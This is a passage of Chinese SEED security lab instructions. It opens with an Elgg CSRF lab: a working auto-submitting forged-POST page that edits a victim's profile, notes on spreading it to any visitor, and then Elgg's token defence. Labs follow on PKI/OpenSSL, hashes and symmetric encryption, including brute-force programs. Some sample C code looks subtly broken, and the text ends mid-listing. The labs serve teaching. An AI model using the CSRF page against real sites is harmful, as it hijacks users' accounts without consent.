    __elgg_token=17fb7abf0ec7666aae76d5b03372203f&__elgg_ts=1429842430&name=Alice&description=%3Cp%3Etest%3C%2Fp%3E&accesslevel%5Bdescription%5D=2&briefdescription=test&accesslevel%5Bbriefdescription%5D=2&location=test&accesslevel%5Blocation%5D=2&interests=test&accesslevel%5Binterests%5D=2&skills=test&accesslevel%5Bskills%5D=2&contactemail=test%40email.com&accesslevel%5Bcontactemail%5D=2&phone=123456&accesslevel%5Bphone%5D=2&mobile=123456&accesslevel%5Bmobile%5D=2&website=http%3A%2F%2Ftest.com&accesslevel%5Bwebsite%5D=2&twitter=test&accesslevel%5Btwitter%5D=2&guid=39



通过分析我们可以得知编辑用户需要的请求，其中最重要的就是guid，用户的id标识符；于是Alice就写了如下代码并发送给Boby用户进行攻击.


    sudo vim /var/www/CSRF/Attacker/csrf.html



这里是代码：


    <html><body><h1>
    This page forges an HTTP POST request.
    </h1>
    <script type="text/javascript">
    function post(url,fields)
    {
        //create a <form> element.
        var p = document.createElement("form");
        //construct the form
        p.action = url;
        p.innerHTML = fields;
        p.target = "_self";
        p.method = "post";

        //append the form to the current page.
        document.body.appendChild(p);
        //submit the form
        p.submit();
    }
    function csrf_hack()
    {
        var fields;
        // The following are form entries that need to be filled out
        // by attackers. The entries are made hidden, so the victim
        // won't be able to see them.
        fields += "<input type='hidden' name='name' value='Boby'>";
        fields += "<input type='hidden' name='description' value='test'>";
        fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
        fields += "<input type='hidden' name='briefdescription' value='test'>";
        fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
        fields += "<input type='hidden' name='location' value='test'>";
        fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
        fields += "<input type='hidden' name='guid' value='40'>";
        var url = "http://www.csrflabelgg.com/action/profile/edit";
        post(url,fields);
    }
    // invoke csrf_hack() after the page is loaded.
    window.onload = function() { csrf_hack();}
    </script>
    </body></html>



Boby用户访问前：


[image: 图片描述信息]


Boby用户访问攻击url：www.csrflabattacker.com/csrf.html


[image: 图片描述信息]


Boby用户访问后：


[image: 图片描述信息]


思考


问题1：Alice用户使用csrf攻击boby用户，需要知道Boby用户的guid，但是Alice没有Boby的密码，她可以通过什么办法来获取Boby用户的guid？


>    Alice可以先通过一个类似实验1这样的CSRF攻击来获取Boby用户的guid。


问题2：如果Alice想通过发送一个URL，不论是谁点击，谁就会受到CSRF攻击，受害者就会自动修改自己的资料，请解释一下要如何成功做到这样？


>   首先，要是CSRF攻击成功的前提是必须拥有用户的guid，我们可以通过使用csrf来先获取用户的guid，然后自动提交到guid的位置，这样不论是谁，只要他没有退出elgg系统，就访问了我们的攻击url就会自动编辑他们的资料；


lab3 Elgg系统的CSRF防御


Elgg系统中有一个针对CSRF内置的防御机制，上面的实验，我们注释了防御机制来攻击的！


针对CSRF的防御并不难，这里有几个常见的方法：


> 加密令牌：web应用程序可以在网页中嵌入一个加密的令牌，所有的请求都包含这个加密令牌，由于跨站请求无法获取这个令牌，所以伪造的请求很容易就被服务器识别；


>    Referer头途径：使用web应用程序也可以验证请求来源页面的Referer，然后由于隐私考虑，这个referer经常被客户端过滤；


Elgg系统就是使用 加密令牌 机制保护系统；它嵌入两个参数 _elggts 和 _elggtoken，这个我们在之前的LiveHttpHeader抓包中可以看到；


对于所有用户操作，都有如下的代码来保护用户要执行的操作：


    <input type = "hidden" name = "__elgg_ts" value = "" />
    <input type = "hidden" name = "__elgg_token" value = "" />



下面的代码显示如何将上面的保护代码动态添加到web页面：


    sudo vim /var/www/CSRF/elgg/views/default/input/securitytoken.php



这里是代码：


    <?php
    /**
     * CSRF security token view for use with secure forms.
     *
     * It is still recommended that you use input/form.
     *
     * @package Elgg
     * @subpackage Core
     */

    $ts = time();
    $token = generate_action_token($ts);

    echo elgg_view('input/hidden', array('name' => '__elgg_token', 'value' => $token));
    echo elgg_view('input/hidden', array('name' => '__elgg_ts', 'value' => $ts));



上面的防御其实并不够，我们还可以通过给 加密参数，时间戳，用户sessionID加上HASH函数；在elgg系统中就有这样的机制。


> hash函数：一般翻译做"散列"，也有直接音译为"哈希"的，就是把任意长度的输入（又叫做预映射， pre-image），通过散列算法，变换成固定长度的输出，该输出就是散列值。这种转换是一种压缩映射，也就是，散列值的空间通常远小于输入的空间，不同的输入可能会散列成相同的输出，而不可能从散列值来唯一的确定输入值。简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。


step1:我们来看加密令牌的生成：


    function generate_action_token($timestamp)
    {
        $site_secret = get_site_secret();
        $session_id = session_id();
        // Session token
        $st = $_SESSION[’__elgg_session’];
        if (($site_secret) && ($session_id))
        {
            return md5($site_secret . $timestamp . $session_id . $st);
        }
        return FALSE;
    }



step2:会话sessionID的随机值产生：


    .........
    ........
    // Generate a simple token (private from potentially public session id)
    if (!isset($_SESSION[’__elgg_session’])) {
        $_SESSION[’__elgg_session’] = ElggCrypto::getRandomString(32,ElggCrypto::CHARS_HEX);
    ........
    ........



step3:加密令牌的验证(elgg应用程序验证生成的令牌和时间戳来抵御CSRF攻击，每一个用户都有一个验证机制，如果令牌不存在或失效，用户操作将被拒绝并被重定向)。下面是验证机制代码：


    function validate_action_token($visibleerrors = TRUE, $token = NULL, $ts = NULL)
    {
        if (!$token) { $token = get_input(’__elgg_token’); }
        if (!$ts) {$ts = get_input(’__elgg_ts’); }
        $session_id = session_id();
        if (($token) && ($ts) && ($session_id)) {
            // generate token, check with input and forward if invalid
            $required_token = generate_action_token($ts);

            // Validate token
            if ($token == $required_token) {

                if (_elgg_validate_token_timestamp($ts)) {
                // We have already got this far, so unless anything
                // else says something to the contrary we assume we’re ok
                $returnval = true;
                ........
                ........
                }
            Else {
                ........
                ........
                register_error(elgg_echo(’actiongatekeeper:tokeninvalid’));
            ........
            ........
        }
        ........
        ........
    }



step4:打开elgg系统的防御策略：


    sudo vim /var/www/CSRF/elgg/engine/lib/actions.php



在307行，原始代码：


    function action_gatekeeper($action) {

            //SEED:Modified to enable CSRF.
            //Comment the below return true statement to enable countermeasure.
            return true;

            if ($action === 'login') {
                    if (validate_action_token(false)) {
                            return true;
                    }

                    $token = get_input('__elgg_token');
                    $ts = (int)get_input('__elgg_ts');
                    if ($token && _elgg_validate_token_timestamp($ts)) {
                            // The tokens are present and the time looks valid: this is probably a mismatch due to the 
                            // login form being on a different domain.
                            register_error(elgg_echo('actiongatekeeper:crosssitelogin'));


                            forward('login', 'csrf');
                    }

                    // let the validator send an appropriate msg
                    validate_action_token();

            } elseif (validate_action_token()) {
                    return true;
            }

            forward(REFERER, 'csrf');
    }



注释掉 return true：


```
    function action_gatekeeper($action) {


        //SEED:Modified to enable CSRF.
        //Comment the below return true statement to enable countermeasure.
        #return true;

        if ($action === 'login') {
                if (validate_action_token(false)) {
                        return true;
                }

                $token = get_input('__elgg_token');
                $ts = (int)get_input('__elgg_ts');
                if ($token && _elgg_validate_token_timestamp($ts)) {
                        // The tokens are present and the time looks valid: this is probably a mismatch due to the 
                        // login form being on a different domain.
                        register_error(elgg_echo('actiongatekeeper:crosssitelogin'));


                        forward('login', 'csrf');
                }

                // let the validator send an appropriate msg
                validate_action_token();

        } elseif (validate_action_token()) {
                return true;
        }

        forward(REFERER, 'csrf');
}
```



接着再次尝试CSRF攻击将失效！


作业


你需要提交一份详细的实验报告来描述你做了什么和你所学到的。


请提供使用LiveHTTPHeaders的使用细节或屏幕截图。


您还需要提供有趣的或令人惊讶的解释。
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公钥加密与PKI实验

            本课实验包含公钥加密，数字签名，公钥认证，认证授权，基于PKI授权等内容。


第 1 节 公钥加密与 PKI


一、实验描述


本实验的学习目的是让学生熟悉公钥加密与 PKI 的概念，本课实验包含公钥加密，数字签名，公钥认证，认证授权，基于 PKI 授权等内容。学生将以使用工具或者写程序的方式建立基于 PKI 的安全信道。


二、实验环境


本实验中，我们将使用 openssl 命令行工具及其库。实验环境中已自带命令行工具，需安装 openssl 开发库。


$ sudo apt-get update
$ sudo apt-get install libssl-dev



编辑器使用 bless 十六进制编辑器,需预先安装。


$ sudo apt-get install bless



系统用户名:  shiyanlou


一些有用的帮助文档：



	OpenSSL Command-Line HOWTO


	OpenSSL Examples (client/server examples) with detailed explanation


	An Introduction to OpenSSL Programming (Part I)


	An Introduction to OpenSSL Programming (Part II)




三、实验内容


实验 1:成为数字证书认证机构（CA）


>数字证书认证机构（英语：Certificate Authority，缩写为 CA），也称为电子商务认证中心、电子商务认证授权机构，是负责发放和管理数字证书的权威机构，并作为电子商务交易中受信任的第三方，承担公钥体系中公钥的合法性检验的责任。


>数字证书的作用是证明证书中列出的用户合法拥有证书中列出的公开密钥。CA 机构的数字签名使得攻击者不能伪造和篡改证书。它负责产生、分配并管理所有参与网上交易的个体所需的数字证书，因此是安全电子交易的核心环节。


想要从商业 CA 获取数字证书需要向其支付一定的金钱，不过我们不用那么破费，可以自己成为 root CA，为自己发布证书。


在本实验中，我们将成为 root CA，并为该 CA 生成证书。不像其他 CA 需要被另外的 CA 认证， root CA 的证书是自己为自己认证的，一般 Root CA 的证书都已事先加载在大多数操作系统，浏览器或者依赖 PKI 的软件之中了。Root CA 的证书是被无条件信任的。


配置文件：openssl.conf


为了使用 openssl 生成证书，我们首先需要进行配置，配置文件扩展名为.cnf。openssl 的 ca， req， x509 命令常常会用到这份配置文件。你可以从/usr/lib/ssl/openssl.cnf 获得一份拷贝。将文件拷贝到工作目录后，创建以下在配置文件中指定的子文件夹（详情查看配置文件[CA default]处）


dir = ./demoCA # Where everything is kept
certs = $dir/certs # Where the issued certs are kept
crl_dir = $dir/crl # Where the issued crl are kept
new_certs_dir = $dir/newcerts # default place for new certs.
database = $dir/index.txt # database index file.
serial = $dir/serial # The current serial number



[image: 图片描述信息]


这里给出文件目录树：
[image: 图片描述信息]


index.txt 只要创建空文件就行，至于 serial 文件，内容必须是字符串格式的数字（比如 1000）


一旦你设置好 openssl.cnf 就可以创建和发布证书了。


数字证书认证机构（CA）
我们需要为自己的 CA 生成自签名证书。这意味着该机构是被信任的，而它的证书会作为 root 证书。你可以运行以下命令为 CA 生成自签名证书：


$ openssl req -new -x509 -keyout ca.key -out ca.crt -config openssl.cnf



它要求你提供信息和密码，可千万别忘记密码了，因为每次为别人签证书的时候你都需要用到密码。信息包括城市名，通用名等等。命令的输出存储在两个文件中：ca.key 与 ca.crt 中。文件 ca.key 包括 CA 的私钥，而 ca.crt 包含了公钥证书


实验 2: 为 PKILabServer.com 生成证书


现在，我们是 root CA 了，我们已经准备好为我们的客户签数字证书，我们的第一个客户是叫作 PKILabServer.com 的公司，这家公司从 CA 获取数字证书需要 3 个步骤：


Step 1：生成公开/私有密钥对


该公司首先需要生成它自己的公开/私有密钥对。我们运行以下命令来生成 RSA 密钥对。你同时需要提供一个密码来保护你的密钥。密钥会被保存在 server.key 文件中。


$ openssl genrsa -des3 -out server.key 1024



Step 2:   生成证书签名请求
一旦公司拥有了密钥文件，它应当生成证书签名请求（CSR）。CSR 将被发送给 CA，CA 会为该请求生成证书（通常在确认 CSR 中的身份信息匹配后）。请将 PKILabServer.com 作为证书请求的通用名，并且请记住自己都输了些啥。


$ openssl req -new -key server.key -out server.csr -config openssl.cnf



Step 3: 生成证书
生成证书。CSR 文件需要拥有 CA 的签名来构成证书。在现实世界中，CSR 文件常常被发送给可信任的 CA 签名。本实验中，我们将使用我们自己的 CA 来生成证书：


$ openssl ca -in server.csr -out server.crt -cert ca.crt -keyfile ca.key -config openssl.cnf



如果 OpenSSL 拒绝生成证书，那很可能是因为你请求中的名字与 CA 所持有的不匹配。匹配规则在配置文件中指定([policy match]处)，你可以更改名字也可以更改规则。都做到这了，就改规则吧。
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实验 3：在网站中使用 PKI


在本节实验中，我们将探索公钥证书是如何保障网络浏览的安全的。首先我们需要一个域名，比如 PKILabServer.com 为了让计算机识别该域名，在/etc/hosts 文件中添加以下内容：


127.0.0.1 PKILabServer.com



该文件将指定域名映射到指定 ip 地址上，这里我们将它映射到本地 IP。接下来，让我们启动一个拥有我们之前生成的证书的简单的 web 服务器。使用以下命令开启一个 web 服务器：


# Combine the secret key and certificate into one file
$ cp server.key server.pem
$ cat server.crt >> server.pem
# Launch the web server using server.pem
$ openssl s_server -cert server.pem -www



默认情况下，服务器会监听 4433 端口。所以你现在可以通过 https://PKILabServer.com:4433/ 访问服务器了。你很可能从浏览器收到一条错误消息 


[image: 图片描述信息]


如果该证书是被 VeriSign 之类的 CA 授权的话，我们就不会收到错误信息了，因为火狐内置了该 CA 的证书。可惜 PKILabServer.com 的证书是被我们自己的 CA 签名，火狐不认识我们的 CA。有两种方法能够让火狐接受我们的自签名证书。



	我们可以要求 Mozilla 在火狐里加入我们的证书，这样每一个用火狐的人都能够识别我们的 CA 了。这就是一般 CA 使用的方法，对我们来说自然是行不通的。


	我们可以手动加载我们 CA 的证书通过以下步骤：
Edit -> Preference -> Advanced -> View Certificates. 
你将看到一列证书列表，在这里我们导入我们的证书。 导入 ca.crt 并且选择 “Trust this CA to identify web sites” 。




[image: 图片描述信息]


现在，浏览 https://PKILabServer.com:4433 请描述并解释你的观察。如果仍旧出现错误页面，请使用 opera 浏览器。


接下来做这两件事：



	修改 server.pem 的一个字节并且重启服务器，访问 https://PKILabServer.com:4433 ，你观察到了些什么？确保之后恢复 server.pem.服务器可能无法重启，那样的话，换一个字节做修改。


	既然 PKILabServer.com 指向 localhost，如果我们使用 https://localhost:4433 替代域名访问，就会连接到同一个服务器。请尝试这么做并解释你的观察。




实验 4：使用 PKI 与 PKILabServer.com 建立安全 TCP 链接


在本实验中，我们将实现 TCP 客户端，服务器端及其安全连接。也就是说，客户端与服务器端使用一个只有他们自己知道的会话密钥对通信内容进行加密。另外，客户端需要确保连接的是目标服务器（PKILabServer.com）也就是是说客户端需要给服务器端授权。服务器授权需要公钥证书，OpenSSL 已经实现了 SSL 协议来做服务器授权。OpenSSL 的 SSL 函数直接在客户端与服务器端之间建立连接，证书的认证由 SSL 函数自动完成。可以先参考以下教程学习 SSL 函数。



	OpenSSL examples: http://www.rtfm.com/openssl-examples/


	http://www.ibm.com/developerworks/linux/library/l-openssl.html




我们提供两个示例程序，cli.cpp 与 serv.cpp 帮助你理解。该程序演示了如何建立 SSL 连接，如何得到对方的证书，如何认证证书，如何从证书中获取信息等等。为了让程序能够运行，你需要先解包然后运行 make 命令，README 文件中记录了客户端和服务器端的密码。你可以以我们提供的文件为基础完成实验。
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>文件地址：
>http://www.cis.syr.edu/~wedu/seed/Labs12.04/Crypto/CryptoPublicKey/files/demoopensslapi.zip


实验 5：性能比较 RSA vs AES


本节实验中，我们将考察公钥加密算法的性能。请准备一个文件（message.txt），该文件包含 16 字节的信息，再生成一个 1024 位的 RSA 密钥对，进行如下步骤：



	使用公钥加密 message.txt，将其保存在 message enc.txt 中



	使用私钥对 message enc.txt 进行解密。



	使用 AES-128 对文件加密



	比较每一步所用的时间，描述你的观察。如果其中一步耗时太短，需要多次实验求平均值。


% openssl genrsa -out mykey.pem 1024
% openssl rsa -in mykey.pem -pubout -out mypubkey.pem
% time openssl rsautl -encrypt -in message.txt -pubin -inkey mypubkey.pem -out message.enc
% time openssl rsautl -decrypt -in message.enc -inkey mykey.pem -out message_decryped.txt
% time openssl enc -aes-128-cbc -in message.txt -out message.aes





在你完成了上述练习后，可以使用 openssl 的 speed 命令做基准测试，请描述你之前的观察是否与 speed 的结果相近。下面给出基准测试的方法：


% openssl speed rsa
% openssl speed aes



实验 6：创建数字签名


本节实验中，我们将使用 OpenSSL 生成数字签名。请准备一个任意大小的 example.txt 文件。并准备 RSA 密钥对。步骤如下



	对 example.txt 产生的数字摘要使用 sha256 进行签名；输出文件 example.sha256。


	验证 example.sha256 的数字签名。


	稍稍修改 example.txt 再一次验证数字签名




请描述你的具体操作（比如用到哪些命令）解释你的观察。并解释为什么数字签名有效。


$ openssl genrsa -des3 -out myrsaCA.pem 1024
$ openssl rsa -in myrsaCA.pem -pubout -out myrsapubkey.pem
$ openssl dgst -sha256 -out example.sha256 -sign myrsaCA.pem example.txt
$ openssl genrsa -des3 -out myrsaCA.pem 1024
$ openssl dgst -sha256 -signature example.sha256 -verify myrsapubkey.pem example.txt



四、作业


按要求完成实验内容并回答每节实验给出的问题。
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单向哈希函数与MAC实验

            本实验的学习目的是让学生熟悉单向哈希函数（比如md5，sha256）以及消息认证码（MAC）


第 1 节 单向哈希函数与 MAC


一、实验描述


本实验的学习目的是让学生熟悉单向哈希函数以及消息认证码（MAC），在完成本课实验后，学生应当对密码学概念有更深入的理解并且能通过使用工具或者编程为一段指定的信息生成哈希值以及消息认证码。


二、实验环境


本实验中，我们将使用 openssl 命令行工具及其库。实验环境中已自带命令行工具，需安装 openssl 开发库。


$ sudo apt-get update
$ sudo apt-get install libssl-dev



编辑器使用 bless 十六进制编辑器,需预先安装。


$ sudo apt-get install bless



系统用户名:  shiyanlou


三、实验内容


实验 1:生成消息摘要和 MAC


在本实验中，我们将认识各种单向哈希算法。你可以使用 openssl dgst 命令为一个文件生成哈希值。输入 man openssl 和 man dgst 查看手册。


$ openssl dgst dgsttype filename



使用指定的单向哈希算法替换 dgsttype 部分，比如 -md5, -sha1, -sha256 等等，至少使用 3 种算法，描述你观测到的结果。


实验 2:Keyed Hash 和 HMAC


本节实验中，我们要为文件生成 keyed hash（比如 MAC）。使用-hmac 选项，选项后所带参数就是 key。


$ openssl dgst -md5 -hmac "abcdefg" filename



请分别使用 HMAC-MD5, HMAC-SHA256 和 HMAC-SHA1 生成 keyed hash，并配以不同长度的 key。我们是否总是需要在 HMAC 中使用一个固定长度的 key？如果是这样，key 的长度是多少？如果不是，为什么？


实验 3：单向哈希函数的随机性


为了理解单向函数的特性，我们需要做一些关于 MD5 和 SHA256 的练习



	创建一个任意长度的文本文件。


	使用指定的哈希算法为该文件生成哈希值 H1。


	翻转该文件的任意一位，你可以使用 ghex 或者 bless 进行编辑。


	为修改后的文件生成哈希值 H2。


	观察 H1 与 H2 是否相似，请描述你的观察。


	写一个程序计算 H1 与 H2 相同位的数量。




方便起见，这里给出python的一种实现，可以用任何方式完成练习，不必拘泥于形式。


#-*- coding:utf8 -*-
from os import urandom
import os, tempfile
import binascii


翻转字节的任意一位
def flipBit(x, kth):
    x = ord(x)
    if (x & 1 << kth ) != 0:
        return chr(x & ~(1 << kth))
    else:
        return chr(x | ( 1 << kth))

十六进制字符串转二进制字符串
def byte_to_binary(n):
    return ''.join(str((n & (1 << i)) and 1) for i in reversed(range(8)))

def hex_to_binary(h):
    return ''.join(byte_to_binary(ord(b)) for b in binascii.unhexlify(h))


origin_text = "hello, shiyanlou"    #源字符串
changed_text = list(origin_text)
changed_text[1] = flipBit(changed_text[1],4) 
changed_text = ''.join(changed_text) #修改后的字符串

with tempfile.NamedTemporaryFile() as fa:
    with tempfile.NamedTemporaryFile() as fb:
        #通过系统命令行命令获取 hash 值
        def get_hash(fp, text):
            fp.write(text)
            fp.seek(0)
            result = os.popen("openssl dgst -sha1 {}".format(fp.name)).read()[66:-1]
            print result
            return result

        origin_hash  = hex_to_binary(get_hash(fa, origin_text))
        changed_hash = hex_to_binary(get_hash(fb, changed_text))

        print origin_text + ":"
        print origin_hash
        print changed_text + ":"
        print changed_hash
        #计算不同的位数
        print "diff count:", reduce(lambda x, y: x+y, [origin_hash[i] == changed_hash[i] for i in range(len(origin_hash))])



实验 4：单向特性（One-Way）与避免冲突特性（Collision-Free）的对比


本节实验中，我们将探索哈希函数的两个特性 one-way 与 collision-free 。我们将使用暴力破解的方法看看攻破两种特性分别要花多长时间，这回我们不使用命令工具，而是调用加密库写 C 程序. 示例代码地址： http://www.openssl.org/docs/crypto/EVP_DigestInit.html


为了让实验短时间内可行，我们只使用哈希值的头 24 位。请自行设计实验完成下列问题：



	通过暴力破解，你需要尝试多少次才能够击破单向特性，你需要进行多次实验，计算平均值。


	同上，单向特性换成避免冲突特性。


	通过你的观察，哪种特性更容易通过暴力破解击破。


	（Bonus！）你可以用数学方法解释你观察到的结果之间的区别吗？




注：为了编译你的代码或者写 makefile，你可能需要以下信息。


>INC=/usr/local/ssl/include/
LIB=/usr/local/ssl/lib/
all:
    gcc -I\$(INC) -L$(LIB) -o enc yourcode.c -lcrypto -ldl


样例：


#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <openssl/evp.h>

int hash_table[16777216];
char buffer[50];
char hash_value[100];
long long count = 0;

int hex2int(char* hex)
{
  int i;
  int sum = 0;
  for (i = 0; i < strlen(hex); i+=2)
    sum *= 16;
    sum += 16 * (hex[i] - '0') + (hex[i+1] - '0');
  return sum;
}

void gen_string()
{
  srand(count++);
  sprintf(buffer, "%d", rand());
}

int main(int argc, char const *argv[])
{

  int one_way_flag = 0, co_free_flag = 0;
  clock_t start = clock();
  clock_t one_end, co_end;

  memset(hash_table, 0, sizeof(int) * 16777216);

  EVP_MD_CTX *mdctx;
  const EVP_MD *md;

  unsigned char md_value[EVP_MAX_MD_SIZE];
  int md_len, i;

  OpenSSL_add_all_digests();

  if(!argv[1]) {
    printf("Usage: mdtest hash_value\n");
    exit(1);
  }

  md = EVP_get_digestbyname(argv[1]);

  if(!md) {
    printf("Unknown message digest %s\n", argv[1]);
    exit(1);
  }

  char* search_value = argv[2];

  while(1){
    if (co_free_flag && one_way_flag) break;

    mdctx = EVP_MD_CTX_create();
    EVP_DigestInit_ex(mdctx, md, NULL);
    gen_string();
    EVP_DigestUpdate(mdctx, buffer, strlen(buffer));
    EVP_DigestFinal_ex(mdctx, md_value, &md_len);
    EVP_MD_CTX_destroy(mdctx);

    sprintf(hash_value, "%02x%02x%02x", md_value[0], md_value[1], md_value[2]);

    int idx = hex2int(hash_value);
    hash_table[idx]++;
    if (!co_free_flag && hash_table[idx] > 1)
    {
      co_free_flag = 1;
      co_end = clock();
      printf("Collision Found\ndelta time: %d\n", co_end - start);
    }

    if (0 == strcmp(search_value, hash_value)){
      one_way_flag = 1;
      time(&one_end);
      printf("Content Found. The content is %s\ndelta time: %d\n", buffer, one_end - start);
      break;
    }
  }
  /* Call this once before exit. */
  EVP_cleanup();
  exit(0);
}



四、作业


按要求完成实验内容并回答每节实验给出的问题。


版权声明


本课程所涉及的实验来自 Syracuse SEED labs，并在此基础上为适配实验楼网站环境进行修改，修改后的实验文档仍然遵循 GNU Free Documentation License。


本课程文档 github 链接：https://github.com/shiyanlou/seedlab


附 Syracuse SEED labs 版权声明：
>Copyright Statement Copyright 2006 – 2014 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound at http://www.gnu.org/licenses/fdl.html.


密钥加解密实验

            本实验的学习目的是让学生熟悉加密的基本概念，熟悉和了解加密算法、加密模式、 填充、以及初始向量的定义与作用。


第 1 节 密钥加解密实验（上）


一、实验描述


本实验的学习目的是让学生熟悉加密的概念，熟悉和了解加密算法(cipher)、加密模式(encryption mode)、 填充(padding)、以及初始向量(IV)的定义与作用。此外，学生还可以通过使用工具和编写程序加密/解密信息。


二、实验环境


本实验中，我们将使用 openssl 命令行工具及其库。实验环境中已自带命令行工具，需安装 openssl 开发库。


$ sudo apt-get update
$ sudo apt-get install libssl-dev



编辑器使用 bless 十六进制编辑器,需预先安装。


$ sudo apt-get install bless



系统用户名:  shiyanlou


三、实验内容


实验 1. 使用不同的加密算法与加密模式进行加密


你可以使用 openssl enc 命令来加密／解密一个文件。输入 man openssl 和 man enc 命令以查看手册


$ openssl enc ciphertype -e -in plain.txt -out cipher.bin \
-K 00112233445566778899aabbccddeeff \
-iv 0102030405060708



请将上述代码中的 ciphertype 替换成指定的加密类型，比如-aes-128-cbc, -aes-128-cfb, -bf-cbc 等,在本实验中你至少需要使用三种不同的密码(cypher)与加密模式(encryption mode)可以通过输入man enc命令了解到各选项的含义以及 openssl 所支持的所有加密类型。


密码(cipher):指 bf, cast, des, aes, rs2 等
加密模式(encryption mode):指 cbc, ecb, cfb, ofb 等


以下列出部分主要选项释义：


| 参数        | 含义            | 含义(中文) |
| ---------- |---------------   |-----    | 
|-in         |<file> input file |输入文件      |
|-out        |<file> output file|输出文件    |
|-e          |encrypt           |加密       |
|-d          |decrypt           |解密       |
|-K/-iv      |key/iv in hex is the next argument |十六进制密钥与初始向量|
|-[pP] |print the iv/key (then exit if -P) |打印初始向量与密钥|


实验 2. 加密模式——ECB 与 CBC 的区别。


[image: ]


图片地址


pic_original.bmp 是一张简单的图片，我们将对它进行加密，这样没有密钥的人就无法看到这张图是什么了。请分别使用 ECB 和 CBC 模式。



	加密后的图片 bmp 文件头是损坏的，我们需要用 bless 编辑该图片文件。（注：bmp 头长度为 54 字节）



	修改完后，打开图片，描述你的观察结果。





修改加密后文件的文件头
[image: ]


观察结果(左:cbc 中:ecb 右:原图)
[image: ]


实验 3:  加密模式——损坏的密文


为了理解各种不同加密模式的特性，我们需要做以下练习：



	创建一个长度至少 64 字节的文本文件。


	使用 AES-128 对其进行加密


	不幸的是，密文的第 30 位损坏了。请用编辑器模拟损坏，编辑该位，将其反转。


	使用相同的 key 与 iv 对密文进行解密。




1.分别用 ECB，CBC，CFB，OFB 四种模式解密损坏的文件，观察有多少数据是正确恢复的，造成这种结果的原因是什么？


[image: ]
(注：test.txt 为原文件，test(模式)d.txt 为对应解密文件)


实验 4: 填充


对于分组密码来说，当明文大小不是分组大小的倍数的时候，就需要使用填充了。请做以下练习：


1.openssl 手册（man openssl）中提到 openssl 使用 pkcs5 标准来做填充。请在查询 pkcs5 标准给出的填充方法后设计实验验证这一点。


2.使用 ECB，CBC，CFB，OFB 四种模式加密同一个文件，说明哪种模式会使用填充，哪种模式不会，为什么有些模式不需要填充。


四、作业


按要求完成实验内容并回答每节实验给出的问题。


版权声明


本课程所涉及的实验来自 Syracuse SEED labs，并在此基础上为适配实验楼网站环境进行修改，修改后的实验文档仍然遵循 GNU Free Documentation License。


本课程文档 github 链接：https://github.com/shiyanlou/seedlab


附 Syracuse SEED labs 版权声明：
>Copyright Statement Copyright 2006 – 2014 Wenliang Du, Syracuse University. The development of this document is funded by the National Science Foundation’s Course, Curriculum, and Laboratory Improvement (CCLI) program under Award No. 0618680 and 0231122. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.2 or any later version published by the Free Software Foundation. A copy of the license can befound at http://www.gnu.org/licenses/fdl.html.


第 2 节 密钥加解密实验（下）


一、实验描述


本实验的学习目的是让学生熟悉密钥加密的概念，熟悉和了解加密算法(cipher)、加密模式(encryption mode)、 填充(padding)、以及初始向量(IV)的定义与作用。此外，学生还可以通过使用工具和编写程序加密/解密信息。


二、实验环境


本实验中，我们将使用 openssl 命令行工具及其库。实验环境中已自带命令行工具，需安装 openssl 开发库。


$ sudo apt-get update
$ sudo apt-get install libssl-dev



编辑器使用 bless 十六进制编辑器,需预先安装。


$ sudo apt-get install bless



系统用户名:  shiyanlou


三、实验内容


实验 5:使用 Openssl 加密库进行编程


上节实验中我们已经学习了如何使用 openssl 来加密和解密信息。在本实验中，我们将学习如何使用 openssl 的加密库来加密／解密信息，openssl 提供一个叫作 EVP 的高级接口，已封装底层函数，尽管 openssl 也为每一个单独的加密算法提供接口，但使用 evp 会更方便一些。


以下地址给出样例代码，先自行熟悉 EVP 接口，再继续接下来的实验。
https://www.openssl.org/docs/crypto/evp.html


实验已给出明文和密文，并告知加密方法为 aes-128-cbc，IV 全由 0 组成，以及 key 的长度小于 16 个字母，该单词可以从一般的英文词典中得到。由于该单词小于 16 个字母（128bits）所以在其后追加了空格字符（对应 0x20）以达到 128bit 的长度。给你的任务就是写一个程序找到 key，你可以从网上下载一个英文词典，也可以使用我们提供的。
词典地址


>明文 (21 个字符): This is a top secret.
>密文 (十六进制形式): 8d20 e505 6a8d 24d0 462c e74e 4904 c1b5 13e1 0d1d f4a2 ef2a d454 0fae 1ca0 aaf9


Note 1:  如果你打算将明文存储在文件中读取，一些编辑器可能会擅自加奇怪的东西进去，比如 windows 的记事本，使用实验室环境的编辑器不会有这样的顾虑。


Note 2: 为了编译你的代码或者写 makefile，你可能需要以下信息。


>INC=/usr/local/ssl/include/
LIB=/usr/local/ssl/lib/
all:
    gcc -I\$(INC) -L$(LIB) -o enc yourcode.c -lcrypto -ldl


下面给出参考代码


include <openssl/conf.h>
include <openssl/evp.h>
include <openssl/err.h>
include <string.h>
include <stdio.h>
include <stdlib.h>

define True 1
define False 0

void handleErrors(void)
{
  ERR_print_errors_fp(stderr);
  abort();
}

int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
  unsigned char *iv, unsigned char *ciphertext)
{
  EVP_CIPHER_CTX *ctx;

  int len;

  int ciphertext_len;

  if(!(ctx = EVP_CIPHER_CTX_new())) handleErrors();

  if(1 != EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv))
    handleErrors();

  if(1 != EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len))
    handleErrors();
  ciphertext_len = len;

  if(1 != EVP_EncryptFinal_ex(ctx, ciphertext + len, &len)) handleErrors();
  ciphertext_len += len;

  EVP_CIPHER_CTX_free(ctx);

  return ciphertext_len;
}

int append(char* buffer){
    int length = (int)strlen(buffer);
    if (length > 16)    
        return False;
    memset(buffer+strlen(buffer),' ', 16-length);
    buffer[16] = '\0';
    return True;

}

int main(int argc, char const *argv[])
{
    char buffer[50];

    int i = 0;
    char iv[17];
    memset(iv, 0, 17);

    unsigned char *plaintext = "This is a top secret.";
    unsigned char ciphertext[100];
